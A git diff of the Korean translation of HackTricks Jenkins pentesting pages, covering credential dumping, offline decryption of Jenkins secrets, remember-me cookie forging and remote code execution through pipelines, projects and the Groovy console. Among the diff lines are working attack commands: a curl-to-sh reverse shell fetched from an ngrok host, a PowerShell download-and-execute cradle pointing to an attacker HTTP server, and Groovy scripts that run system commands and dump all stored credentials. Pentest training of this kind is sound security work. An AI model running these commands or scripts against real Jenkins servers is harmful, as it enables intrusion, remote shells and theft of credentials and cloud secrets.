+또 다른 문제는 파이프라인의 **env** 내에서 **비밀을 얻으려면** **비밀의 이름과 유형을 알아야 한다는** 것입니다. 예를 들어, **`string`** **비밀**로 **`usernamePassword`** **비밀**을 **로드**하려고 하면 이 **오류**가 발생합니다:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
-여기에서 몇 가지 일반적인 비밀 유형을 로드하는 방법이 있습니다:
+여기 일반적인 비밀 유형을 로드하는 방법이 있습니다:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
@@ -231,43 +219,43 @@ env
이 페이지의 끝에서 **모든 자격 증명 유형**을 **찾을 수 있습니다**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
-> **모든 비밀을 한 번에 덤프하는** 가장 좋은 방법은 **Jenkins** 머신을 **타격**하는 것입니다 (예: **내장 노드**에서 리버스 셸을 실행) 그리고 **마스터 키**와 **암호화된 비밀**을 **유출**한 후 오프라인에서 복호화하는 것입니다.\
-> 이를 수행하는 방법에 대한 자세한 내용은 [노드 및 에이전트 섹션](./#nodes-and-agents)과 [사후 활용 섹션](./#post-exploitation)을 참조하십시오.
+> **모든 비밀을 한 번에 덤프하는** 가장 좋은 방법은 **Jenkins** 머신을 **타협하는** 것입니다 (예를 들어 **내장 노드**에서 리버스 셸을 실행) 그리고 **마스터 키**와 **암호화된 비밀**을 **유출**한 후 오프라인에서 복호화하는 것입니다.\
+> 이를 수행하는 방법에 대한 자세한 내용은 [Nodes & Agents section](./#nodes-and-agents) 및 [Post Exploitation section](./#post-exploitation)에서 확인할 수 있습니다.
### 트리거
-[문서에서](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): `triggers` 지시어는 **파이프라인이 재트리거되어야 하는 자동화된 방법**을 정의합니다. GitHub 또는 BitBucket과 같은 소스와 통합된 파이프라인의 경우, 웹훅 기반 통합이 이미 존재할 가능성이 높기 때문에 `triggers`가 필요하지 않을 수 있습니다. 현재 사용 가능한 트리거는 `cron`, `pollSCM` 및 `upstream`입니다.
+[문서](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers)에서: `triggers` 지시문은 **파이프라인이 자동으로 다시 트리거되는 방법**을 정의합니다. GitHub 또는 BitBucket과 같은 소스와 통합된 파이프라인의 경우, 웹훅 기반 통합이 이미 존재할 가능성이 있으므로 `triggers`가 필요하지 않을 수 있습니다. 현재 사용 가능한 트리거는 `cron`, `pollSCM` 및 `upstream`입니다.
Cron 예:
```bash
triggers { cron('H */4 * * 1-5') }
```
-Check **other examples in the docs**.
+다른 예제는 **문서에서 확인하세요**.
-### Nodes & Agents
+### 노드 및 에이전트
-A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines.
+**Jenkins 인스턴스**는 **다른 머신에서 실행되는 다양한 에이전트**를 가질 수 있습니다. 공격자의 관점에서 볼 때, 다양한 머신에 대한 접근은 **다양한 잠재적 클라우드 자격 증명**을 훔치거나 **다른 머신을 악용할 수 있는 다양한 네트워크 접근**을 의미합니다.
-For more information check the basic information:
+자세한 정보는 기본 정보를 확인하세요:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-You can enumerate the **configured nodes** in `/computer/`, you will usually find the **`Built-In Node`** (which is the node running Jenkins) and potentially more:
+`/computer/`에서 **구성된 노드**를 나열할 수 있으며, 보통 **`Built-In Node`** (Jenkins를 실행하는 노드)를 찾을 수 있고, 잠재적으로 더 많은 노드를 찾을 수 있습니다:
.png>)
-It is **특히 Built-In 노드를 손상시키는 것이 흥미롭습니다** because it contains sensitive Jenkins information.
+**Built-In 노드를 타겟으로 하는 것이 특히 흥미롭습니다**. 왜냐하면 이 노드는 민감한 Jenkins 정보를 포함하고 있기 때문입니다.
-To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
+**내장 Jenkins 노드**에서 **파이프라인**을 **실행**하고 싶다는 것을 나타내기 위해, 파이프라인 내에서 다음 구성을 지정할 수 있습니다:
```bash
pipeline {
agent {label 'built-in'}
```
-### 완전한 예제
+### 전체 예제
-특정 에이전트에서의 파이프라인, 크론 트리거와 함께, 파이프라인 및 스테이지 환경 변수, 단계에서 2개의 변수를 로드하고 리버스 셸을 전송하는 경우:
+특정 에이전트에서의 파이프라인, 크론 트리거와 함께, 파이프라인 및 단계 환경 변수, 단계에서 2개의 변수를 로드하고 리버스 셸을 전송하는 예:
```bash
pipeline {
agent {label 'built-in'}
@@ -328,7 +316,7 @@ msf> post/multi/gather/jenkins_gather
당신은 충분한 권한이 있다면 `/credentials/`에 접근하여 비밀을 나열할 수 있습니다. 이는 `credentials.xml` 파일 내의 비밀만 나열하지만, **빌드 구성 파일**에도 **더 많은 자격 증명**이 있을 수 있습니다.
-당신이 **각 프로젝트의 구성을 볼 수 있다면**, 저장소에 접근하기 위해 사용되는 **자격 증명(비밀)**의 이름과 **프로젝트의 다른 자격 증명**도 그 안에서 볼 수 있습니다.
+만약 당신이 **각 프로젝트의 구성을 볼 수 있다면**, 저장소에 접근하기 위해 사용되는 **자격 증명(비밀)**의 이름과 **프로젝트의 다른 자격 증명**도 볼 수 있습니다.
.png>)
@@ -363,7 +351,7 @@ credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOm
```
#### Jenkins 비밀을 오프라인으로 복호화하기
-**비밀을 복호화하는 데 필요한 비밀번호를 덤프한 경우**, **이 스크립트**를 사용하여 **그 비밀을 복호화하세요**. [**이 스크립트**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py)
+**비밀을 복호화하는 데 필요한 비밀번호를 덤프한 경우**, **이 스크립트**를 사용하여 **그 비밀을 복호화하세요**.
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -381,10 +369,10 @@ println(hudson.util.Secret.decrypt("{...}"))
2. `true`라는 단어를 검색하고 **`true`**를 **`false`**로 변경합니다.
1. `sed -i -e 's/truefalsetrue`로 변경하여 **보안을 다시 활성화**하고 **Jenkins를 다시 재시작**합니다.
-## 참고문헌
+## 참고자료
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
index e8c6ae492..40ac88af0 100644
--- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
+++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
@@ -1,44 +1,44 @@
-# Basic Jenkins Information
+# 기본 Jenkins 정보
{{#include ../../banners/hacktricks-training.md}}
-## Access
+## 접근
-### Username + Password
+### 사용자 이름 + 비밀번호
Jenkins에 로그인하는 가장 일반적인 방법은 사용자 이름 또는 비밀번호입니다.
-### Cookie
+### 쿠키
-**인증된 쿠키가 도난당하면**, 사용자의 세션에 접근하는 데 사용될 수 있습니다. 쿠키는 일반적으로 `JSESSIONID.*`라고 불립니다. (사용자는 모든 세션을 종료할 수 있지만, 쿠키가 도난당했음을 먼저 알아야 합니다).
+**권한이 있는 쿠키가 도난당하면**, 사용자의 세션에 접근하는 데 사용될 수 있습니다. 쿠키는 일반적으로 `JSESSIONID.*`라고 불립니다. (사용자는 자신의 모든 세션을 종료할 수 있지만, 먼저 쿠키가 도난당했음을 알아야 합니다).
-### SSO/Plugins
+### SSO/플러그인
-Jenkins는 플러그인을 사용하여 **제3자 SSO를 통해 접근 가능하도록** 구성할 수 있습니다.
+Jenkins는 플러그인을 사용하여 **타사 SSO를 통해 접근 가능하도록** 구성할 수 있습니다.
-### Tokens
+### 토큰
-**사용자는 토큰을 생성하여** 애플리케이션이 CLI 또는 REST API를 통해 자신을 가장할 수 있도록 접근을 제공합니다.
+**사용자는 토큰을 생성하여** CLI 또는 REST API를 통해 자신을 가장하는 애플리케이션에 접근할 수 있도록 할 수 있습니다.
-### SSH Keys
+### SSH 키
-이 구성 요소는 Jenkins를 위한 내장 SSH 서버를 제공합니다. 이는 [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/)에 대한 대체 인터페이스이며, 명령은 모든 SSH 클라이언트를 사용하여 이 방법으로 호출할 수 있습니다. (문서에서 발췌)
+이 구성 요소는 Jenkins를 위한 내장 SSH 서버를 제공합니다. 이는 [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/)에 대한 대체 인터페이스이며, 명령은 모든 SSH 클라이언트를 사용하여 이 방법으로 호출할 수 있습니다. (문서에서)
-## Authorization
+## **권한 부여**
`/configureSecurity`에서 **Jenkins의 권한 부여 방법을 구성할 수 있습니다**. 여러 가지 옵션이 있습니다:
- **누구나 무엇이든 할 수 있음**: 익명 접근조차도 서버를 관리할 수 있습니다.
- **레거시 모드**: Jenkins <1.164와 동일합니다. **"admin" 역할**이 있는 경우 시스템에 대한 **전체 제어**가 부여되며, **그렇지 않은 경우**(익명 사용자 포함) **읽기** 접근만 가능합니다.
-- **로그인한 사용자는 무엇이든 할 수 있음**: 이 모드에서는 모든 **로그인한 사용자에게 Jenkins의 전체 제어**가 부여됩니다. 전체 제어가 없는 유일한 사용자는 **익명 사용자**로, **읽기 접근**만 가능합니다.
-- **행렬 기반 보안**: **누가 무엇을 할 수 있는지**를 표로 구성할 수 있습니다. 각 **열**은 **권한**을 나타냅니다. 각 **행**은 **사용자 또는 그룹/역할**을 **나타냅니다**. 여기에는 **인증되지 않은 사용자**를 나타내는 특별한 사용자 '**anonymous**'와 **모든 인증된 사용자**를 나타내는 '**authenticated**'가 포함됩니다.
+- **로그인한 사용자는 무엇이든 할 수 있음**: 이 모드에서는 모든 **로그인한 사용자에게 Jenkins의 전체 제어**가 부여됩니다. 전체 제어를 가지지 않는 유일한 사용자는 **익명 사용자**로, **읽기 접근**만 가능합니다.
+- **행렬 기반 보안**: **누가 무엇을 할 수 있는지**를 표로 구성할 수 있습니다. 각 **열**은 **권한**을 나타냅니다. 각 **행**은 **사용자 또는 그룹/역할**을 **나타냅니다**. 여기에는 **인증되지 않은 사용자**를 나타내는 특별한 사용자 '**익명**'과 **모든 인증된 사용자**를 나타내는 '**인증된**'이 포함됩니다.
.png>)
-- **프로젝트 기반 행렬 권한 부여 전략:** 이 모드는 **각 프로젝트에 대해 별도로 정의된 추가 ACL 행렬을 허용하는** "**행렬 기반 보안**"의 확장입니다.
+- **프로젝트 기반 행렬 권한 부여 전략:** 이 모드는 **각 프로젝트에 대해 별도로 추가 ACL 행렬을 정의할 수 있는** "**행렬 기반 보안**"의 확장입니다.
- **역할 기반 전략:** **역할 기반 전략**을 사용하여 권한을 정의할 수 있습니다. `/role-strategy`에서 역할을 관리합니다.
-## **Security Realm**
+## **보안 영역**
`/configureSecurity`에서 **보안 영역을 구성할 수 있습니다**. 기본적으로 Jenkins는 몇 가지 다른 보안 영역에 대한 지원을 포함합니다:
@@ -50,30 +50,30 @@ Jenkins는 플러그인을 사용하여 **제3자 SSO를 통해 접근 가능하
플러그인은 Jenkins를 기존 신원 시스템에 통합하는 데 유용할 수 있는 추가 보안 영역을 제공할 수 있습니다:
- [Active Directory](https://plugins.jenkins.io/active-directory)
-- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
+- [GitHub 인증](https://plugins.jenkins.io/github-oauth)
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
-## Jenkins Nodes, Agents & Executors
+## Jenkins 노드, 에이전트 및 실행기
-[문서](https://www.jenkins.io/doc/book/managing/nodes/)에서의 정의:
+[문서](https://www.jenkins.io/doc/book/managing/nodes/)에서 정의:
**노드**는 **빌드 에이전트가 실행되는 머신**입니다. Jenkins는 각 연결된 노드의 디스크 공간, 여유 임시 공간, 여유 스왑, 시계 시간/동기화 및 응답 시간을 모니터링합니다. 이러한 값 중 하나라도 구성된 임계값을 초과하면 노드는 오프라인 상태가 됩니다.
-**에이전트**는 **Jenkins 컨트롤러를 대신하여 작업 실행을 관리**합니다. 에이전트는 Java를 지원하는 모든 운영 체제를 사용할 수 있습니다. 빌드 및 테스트에 필요한 도구는 에이전트가 실행되는 노드에 설치되며, **직접 설치하거나 컨테이너**(Docker 또는 Kubernetes)에서 설치할 수 있습니다. 각 **에이전트는 호스트 머신에서 고유한 PID를 가진 프로세스입니다**.
+**에이전트**는 **실행기**를 사용하여 Jenkins 컨트롤러를 대신하여 **작업 실행**을 **관리**합니다. 에이전트는 Java를 지원하는 모든 운영 체제를 사용할 수 있습니다. 빌드 및 테스트에 필요한 도구는 에이전트가 실행되는 노드에 설치되며, **직접 설치하거나 컨테이너**(Docker 또는 Kubernetes)에서 설치할 수 있습니다. 각 **에이전트는 호스트 머신에서 고유한 PID를 가진 프로세스**입니다.
**실행기**는 **작업 실행을 위한 슬롯**입니다. 본질적으로, 이는 **에이전트의 스레드**입니다. 노드의 **실행기 수**는 해당 노드에서 동시에 실행할 수 있는 **동시 작업 수**를 정의합니다. 즉, 이는 해당 노드에서 동시에 실행할 수 있는 **동시 파이프라인 `단계` 수**를 결정합니다.
-## Jenkins Secrets
+## Jenkins 비밀
-### Encryption of Secrets and Credentials
+### 비밀 및 자격 증명의 암호화
-[문서](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)에서의 정의: Jenkins는 **AES를 사용하여 비밀**, 자격 증명 및 해당 암호화 키를 보호합니다. 이러한 암호화 키는 `$JENKINS_HOME/secrets/`에 저장되며, 해당 키를 보호하는 데 사용되는 마스터 키와 함께 저장됩니다. 이 디렉토리는 Jenkins 컨트롤러가 실행되는 운영 체제 사용자만 읽기 및 쓰기 접근을 가질 수 있도록 구성해야 합니다(즉, `chmod` 값이 `0700`이거나 적절한 파일 속성을 사용). **마스터 키**(때때로 암호학 용어에서 "키 암호화 키"라고도 함)는 **Jenkins 컨트롤러 파일 시스템에 \_암호화되지 않은 상태로 저장됩니다** **`$JENKINS_HOME/secrets/master.key`**에 저장되어 있으며, 해당 파일에 직접 접근할 수 있는 공격자에 대한 보호가 없습니다. 대부분의 사용자와 개발자는 일반적으로 [Secret](https://javadoc.jenkins.io/byShortName/Secret) API를 통해 일반 비밀 데이터를 암호화하거나 자격 증명 API를 통해 이러한 암호화 키를 간접적으로 사용합니다. 암호화에 관심이 있는 사람들을 위해, Jenkins는 AES를 CBC 모드와 PKCS#5 패딩 및 무작위 IV를 사용하여 [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) 인스턴스를 암호화하며, 이는 `$JENKINS_HOME/secrets/`에 해당 `CryptoConfidentialKey` ID에 해당하는 파일 이름으로 저장됩니다. 일반적인 키 ID는 다음과 같습니다:
+[문서](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)에서 정의: Jenkins는 **AES를 사용하여 비밀**, 자격 증명 및 해당 암호화 키를 보호합니다. 이러한 암호화 키는 `$JENKINS_HOME/secrets/`에 저장되며, 해당 키를 보호하는 데 사용되는 마스터 키와 함께 저장됩니다. 이 디렉토리는 Jenkins 컨트롤러가 실행되는 운영 체제 사용자만 읽기 및 쓰기 접근을 가질 수 있도록 구성해야 합니다(즉, `chmod` 값이 `0700`이거나 적절한 파일 속성을 사용). **마스터 키**(때때로 암호 용어에서 "키 암호화 키"라고도 함)는 **Jenkins 컨트롤러 파일 시스템에 \_암호화되지 않은 상태로 저장됩니다** **`$JENKINS_HOME/secrets/master.key`**에 저장되어 있으며, 이는 해당 파일에 직접 접근할 수 있는 공격자에 대한 보호를 제공하지 않습니다. 대부분의 사용자와 개발자는 [Secret](https://javadoc.jenkins.io/byShortName/Secret) API를 통해 일반 비밀 데이터를 암호화하거나 자격 증명 API를 통해 이러한 암호화 키를 간접적으로 사용합니다. 암호화에 관심이 있는 사람들을 위해, Jenkins는 AES를 암호 블록 체인(CBC) 모드와 PKCS#5 패딩 및 무작위 IV를 사용하여 [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) 인스턴스를 암호화하며, 이는 `$JENKINS_HOME/secrets/`에 해당 `CryptoConfidentialKey` ID에 해당하는 파일 이름으로 저장됩니다. 일반적인 키 ID는 다음과 같습니다:
-- `hudson.util.Secret`: 일반 비밀에 사용됩니다;
-- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: 일부 자격 증명 유형에 사용됩니다;
-- `jenkins.model.Jenkins.crumbSalt`: [CSRF 보호 메커니즘](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)에서 사용됩니다; 및
+- `hudson.util.Secret`: 일반 비밀에 사용됩니다.
+- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: 일부 자격 증명 유형에 사용됩니다.
+- `jenkins.model.Jenkins.crumbSalt`: [CSRF 보호 메커니즘](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)에서 사용됩니다.
-### Credentials Access
+### 자격 증명 접근
자격 증명은 **전역 제공자**(`credentials/`)에 범위가 지정될 수 있으며, 이는 구성된 모든 프로젝트에서 접근할 수 있습니다. 또는 **특정 프로젝트**(`job//configure`)에 범위가 지정되어 해당 특정 프로젝트에서만 접근할 수 있습니다.
@@ -81,13 +81,13 @@ Jenkins는 플러그인을 사용하여 **제3자 SSO를 통해 접근 가능하
**그래서 자격 증명을 유출하기 위해 공격자는 예를 들어, base64로 인코딩해야 합니다.**
-## References
+## 참조
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
- [https://www.jenkins.io/doc/developer/security/secrets/](https://www.jenkins.io/doc/developer/security/secrets/)
- [https://www.jenkins.io/blog/2019/02/21/credentials-masking/](https://www.jenkins.io/blog/2019/02/21/credentials-masking/)
-- [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-for-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)
+- [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)
- [https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
index 5ab0d7d5c..0e49f0819 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -4,7 +4,7 @@
이 블로그 게시물에서는 Jenkins의 Local File Inclusion 취약점을 RCE로 변환하는 훌륭한 방법을 찾을 수 있습니다: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
-이것은 임의의 쿠키를 조작하여 RCE를 얻기 위해 로컬 파일 읽기를 악용하는 게시물의 요약입니다. 제가 직접 요약을 작성할 시간이 생길 때까지의 내용입니다:
+이것은 임의의 쿠키를 악용하여 RCE를 얻는 방법에 대한 게시물의 요약입니다. 제가 직접 요약을 작성할 시간이 생길 때까지 사용됩니다:
### Attack Prerequisites
@@ -18,7 +18,7 @@
**User Information Retrieval**
-- 각 사용자에 대한 `$JENKINS_HOME/users/*.xml`에서 사용자 구성 및 비밀을 액세스하여 다음을 수집합니다:
+- 각 사용자에 대한 `$JENKINS_HOME/users/*.xml`에서 사용자 구성 및 비밀을 액세스하여 수집합니다:
- **Username**
- **User seed**
- **Timestamp**
@@ -35,13 +35,13 @@
**Token Preparation**
-- **Calculate Token Expiry Time:**
+- **토큰 만료 시간 계산:**
```javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // 현재 시간에 1시간 추가
```
-- **Concatenate Data for Token:**
+- **토큰을 위한 데이터 연결:**
```javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
@@ -49,11 +49,11 @@ token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
**MAC Key Decryption**
-- **Decrypt MAC Key File:**
+- **MAC 키 파일 복호화:**
```javascript
key = toAes128Key(masterKey) // 마스터 키를 AES128 키 형식으로 변환
-decrypted = AES.decrypt(macFile, key) // .mac 파일을 복호화
+decrypted = AES.decrypt(macFile, key) // .mac 파일 복호화
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
@@ -61,7 +61,7 @@ macKey = decrypted.withoutSuffix("::::MAGIC::::")
**Signature Computation**
-- **Compute HMAC SHA256:**
+- **HMAC SHA256 계산:**
```javascript
mac = HmacSHA256(token, macKey) // 토큰과 MAC 키를 사용하여 HMAC 계산
@@ -70,7 +70,7 @@ tokenSignature = bytesToHexString(mac) // MAC을 16진수 문자열로 변환
**Cookie Encoding**
-- **Generate Final Cookie:**
+- **최종 쿠키 생성:**
```javascript
cookie = base64.encode(
@@ -82,13 +82,13 @@ username + ":" + tokenExpiryTime + ":" + tokenSignature
**Session Authentication**
-- **Fetch CSRF and Session Tokens:**
+- **CSRF 및 세션 토큰 가져오기:**
- `/crumbIssuer/api/json`에 요청을 보내 `Jenkins-Crumb`를 얻습니다.
- 응답에서 `JSESSIONID`를 캡처하여 remember-me 쿠키와 함께 사용합니다.
**Command Execution Request**
-- **Send a POST Request with Groovy Script:**
+- **Groovy 스크립트로 POST 요청 보내기:**
```bash
curl -X POST "$JENKINS_URL/scriptText" \
@@ -98,8 +98,8 @@ curl -X POST "$JENKINS_URL/scriptText" \
--data-urlencode "script=$SCRIPT"
```
-- Groovy 스크립트를 사용하여 시스템 수준의 명령이나 Jenkins 환경 내에서 다른 작업을 실행할 수 있습니다.
+- Groovy 스크립트는 시스템 수준의 명령이나 Jenkins 환경 내에서 다른 작업을 실행하는 데 사용할 수 있습니다.
-제공된 curl 명령 예시는 임의의 코드를 안전하게 실행하기 위해 필요한 헤더와 쿠키를 사용하여 Jenkins에 요청을 보내는 방법을 보여줍니다.
+제공된 curl 명령 예시는 임의의 코드를 안전하게 실행하기 위해 필요한 헤더와 쿠키로 Jenkins에 요청하는 방법을 보여줍니다.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
index 669fcbfa2..44b54b108 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
@@ -3,9 +3,9 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
-> 이 스크립트는 `credentials.xml` 파일 내의 비밀만 나열하지만 **빌드 구성 파일**에도 **더 많은 자격 증명**이 있을 수 있습니다.
+> 이 스크립트는 `credentials.xml` 파일 내의 비밀만 나열하지만, **빌드 구성 파일**에도 **더 많은 자격 증명**이 있을 수 있습니다.
-다음 코드를 실행하여 `/script`의 Groovy Script 콘솔에서 **모든 비밀을 덤프**할 수 있습니다.
+이 코드를 실행하여 `/script`에서 **Groovy Script 콘솔의 모든 비밀을 덤프할 수 있습니다**.
```java
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
import jenkins.model.*
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
index 1e317ba76..d49e0596e 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
@@ -4,11 +4,11 @@
## 새로운 파이프라인 만들기
-"새 항목"에서 (`/view/all/newJob`에서 접근 가능) **파이프라인**을 선택합니다:
+"New Item"에서 (`/view/all/newJob`에서 접근 가능) **Pipeline**을 선택합니다:
.png>)
-**파이프라인 섹션**에 **리버스 셸**을 작성합니다:
+**Pipeline 섹션**에 **reverse shell**을 작성합니다:
.png>)
```groovy
@@ -32,6 +32,6 @@ curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
## 파이프라인 수정
-구성된 일부 파이프라인의 구성 파일에 접근할 수 있다면, **리버스 셸을 추가하여 수정**한 다음 실행하거나 실행될 때까지 기다릴 수 있습니다.
+구성된 일부 파이프라인의 구성 파일에 접근할 수 있다면, **리버스 셸을 추가하여 수정**한 다음 실행하거나 실행될 때까지 기다릴 수 있습니다.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
index 1e6828f29..f7f3ff851 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
@@ -6,7 +6,7 @@
이 방법은 새로운 프로젝트를 만들어야 하기 때문에 매우 시끄럽습니다 (명백히 사용자가 새로운 프로젝트를 만들 수 있는 경우에만 작동합니다).
-1. **새 프로젝트 만들기** (자유형 프로젝트) "New Item"을 클릭하거나 `/view/all/newJob`에서 클릭합니다.
+1. **새 프로젝트 만들기** (Freestyle project) "New Item"을 클릭하거나 `/view/all/newJob`에서 클릭합니다.
2. **Build** 섹션에서 **Execute shell**을 설정하고 powershell Empire launcher 또는 meterpreter powershell을 붙여넣습니다 (이는 _unicorn_을 사용하여 얻을 수 있습니다). _powershell._ 대신 _PowerShell.exe_로 페이로드를 시작합니다.
3. **Build now**를 클릭합니다.
1. **Build now** 버튼이 나타나지 않으면 여전히 **configure** --> **Build Triggers** --> `Build periodically`로 이동하여 `* * * * *`의 크론을 설정할 수 있습니다.
@@ -20,7 +20,7 @@
.png>)
-**구성** **버튼**이 보이지 않으면 아마도 **구성할 수 없습니다** (하지만 모든 프로젝트를 확인하세요. 일부는 구성할 수 있고 다른 일부는 구성할 수 있을 수 있습니다).
+**구성** **버튼**이 보이지 않으면 아마도 **구성할 수 없습니다** (하지만 모든 프로젝트를 확인하세요. 일부는 구성할 수 있고 다른 것은 구성할 수 있을 수 있습니다).
또는 각 프로젝트에서 `/job//configure` 또는 `/me/my-views/view/all/job//configure` 경로에 **접근해 보세요** (예: `/job/Project0/configure` 또는 `/me/my-views/view/all/job/Project0/configure`).
@@ -31,6 +31,6 @@
.png>)
**Save**를 클릭하고 프로젝트를 **빌드**하면 **명령이 실행됩니다**.\
-리버스 셸을 실행하지 않고 단순한 명령을 실행하는 경우 **빌드의 출력 내에서 명령의 출력을 볼 수 있습니다**.
+리버스 셸을 실행하지 않고 간단한 명령을 실행하는 경우 **빌드의 출력 내에서 명령의 출력을 볼 수 있습니다**.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
index a2e0aa110..bbc367a21 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
@@ -4,7 +4,7 @@
## Jenkins RCE with Groovy Script
-Jenkins에서 새 프로젝트를 만드는 것보다 덜 시끄럽습니다.
+이것은 Jenkins에서 새 프로젝트를 만드는 것보다 덜 시끄럽습니다.
1. _path_jenkins/script_로 이동합니다.
2. 텍스트 상자에 스크립트를 입력합니다.
@@ -16,9 +16,9 @@ println "Found text ${process.text}"
**리눅스**에서는 다음과 같이 할 수 있습니다: **`"ls /".execute().text`**
-텍스트 안에 _따옴표_와 _단일 따옴표_를 사용해야 하는 경우, _"""PAYLOAD"""_ (삼중 큰따옴표)를 사용하여 페이로드를 실행할 수 있습니다.
+텍스트 안에 _따옴표_와 _단일 따옴표_를 사용해야 하는 경우, _"""PAYLOAD"""_ (세 개의 큰따옴표)를 사용하여 페이로드를 실행할 수 있습니다.
-**또 다른 유용한 groovy 스크립트**는 ( \[INSERT COMMAND]를 교체하세요):
+**또 다른 유용한 groovy 스크립트**는 (여기서 \[INSERT COMMAND]를 교체하세요):
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
@@ -34,17 +34,17 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
-### Reverse shell in windows
+### 윈도우에서의 리버스 셸
-HTTP 서버를 PS 리버스 셸로 준비하고 Jeking을 사용하여 다운로드하고 실행할 수 있습니다:
+PS 리버스 셸로 HTTP 서버를 준비하고 Jeking을 사용하여 다운로드하고 실행할 수 있습니다:
```python
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc
```
-### Script
+### 스크립트
